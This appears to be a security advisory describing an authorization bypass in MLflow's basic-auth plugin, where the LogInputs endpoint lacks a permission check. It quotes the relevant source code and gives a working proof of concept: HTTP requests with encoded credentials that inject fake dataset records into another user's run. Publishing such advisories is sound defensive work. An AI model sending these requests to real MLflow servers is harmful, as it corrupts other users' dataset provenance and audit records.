npm · mlflow
MLflow: LogInputs endpoint bypasses per-run UPDATE authorization in basic-auth
When MLflow is deployed with the built-in basic-auth plugin (--app-name basic-auth), any authenticated user can inject arbitrary dataset records into another user's run by calling POST /api/2.0/mlflow/runs/log-inputs. The LogInputs proto handler is absent from the BEFORE_REQUEST_HANDLERS map in mlflow/server/auth/__init__.py, so the before-request hook skips authorization entirely and the request succeeds. Standard write endpoints on the same run -- such as POST /api/2.0/mlflow/runs/log-metric -- correctly return HTTP 403.
MLflow's basic-auth app gates every HTTP handler through a before-request hook (_before_request) that looks up the relevant permission validator in BEFORE_REQUEST_VALIDATORS. Validators are built from the BEFORE_REQUEST_HANDLERS dictionary, which maps each protobuf request class to a callable. When a class is absent from the dict (or mapped to None), get_before_request_handler returns None, and the resulting entry in BEFORE_REQUEST_VALIDATORS is (path, method): None.
Inside _before_request:
# mlflow/server/auth/__init__.py _before_request()
if validator := _find_validator(request): # None is falsy -- branch skipped
if not validator():
return make_forbidden_response()
elif _is_proxy_artifact_path(request.path): # not a proxy path
...
# falls through: any authenticated request is allowed
The LogInputs protobuf class is not present in BEFORE_REQUEST_HANDLERS:
# mlflow/server/auth/__init__.py BEFORE_REQUEST_HANDLERS dict
# LogInputs is absent; all run-write operations below ARE present:
LogBatch: validate_can_update_run,
LogMetric: validate_can_update_run,
SetTag: validate_can_update_run,
LogParam: validate_can_update_run,
# LogInputs: <missing>
The route /api/2.0/mlflow/runs/log-inputs (and the identical /ajax-api/ variant) therefore admits any valid credential, regardless of which experiment or run is targeted. The LogInputs handler writes DatasetInput records directly to the run's lineage table without any ownership check.
Prerequisites: MLflow v3.13.0 running with --app-name basic-auth. Two accounts: alice (creates experiment 2 and run A) and bob (creates experiment 4 and run B).
POST /api/2.0/mlflow/runs/log-metric HTTP/1.1
Authorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM= (alice:alice_password123)
Content-Type: application/json
{"run_id": "<bob_run_id>", "key": "test", "value": 1.0, "timestamp": 0, "step": 0}
Response: HTTP 403 Permission denied
POST /api/2.0/mlflow/runs/log-inputs HTTP/1.1
Authorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM= (alice:alice_password123)
Content-Type: application/json
{"run_id": "<bob_run_id>", "datasets": [{"dataset": {"name": "ATTACKER_injected", "digest": "evil123", "profile": "attacker_controlled"}}]}
Response: HTTP 200 {}
GET /api/2.0/mlflow/runs/get?run_id=<bob_run_id> HTTP/1.1
Authorization: Basic Ym9iOmJvYl9wYXNzd29yZF9uZXcxMjM= (bob:bob_password_new123)
Response: HTTP 200 -- dataset_inputs array contains {"name":"ATTACKER_injected","digest":"evil123","profile":"attacker_controlled"}.
Any authenticated MLflow user can corrupt the dataset lineage metadata of any other user's run. In ML compliance workflows, dataset provenance records are audit evidence for model reproducibility and regulatory review. Injecting fake or misleading dataset entries into a competitor's runs can silently invalidate audit trails, cause misattribution of model training data, or introduce confusion about which datasets were used to train a model. The attacker needs only a valid credential; no elevated permissions are required.
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Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.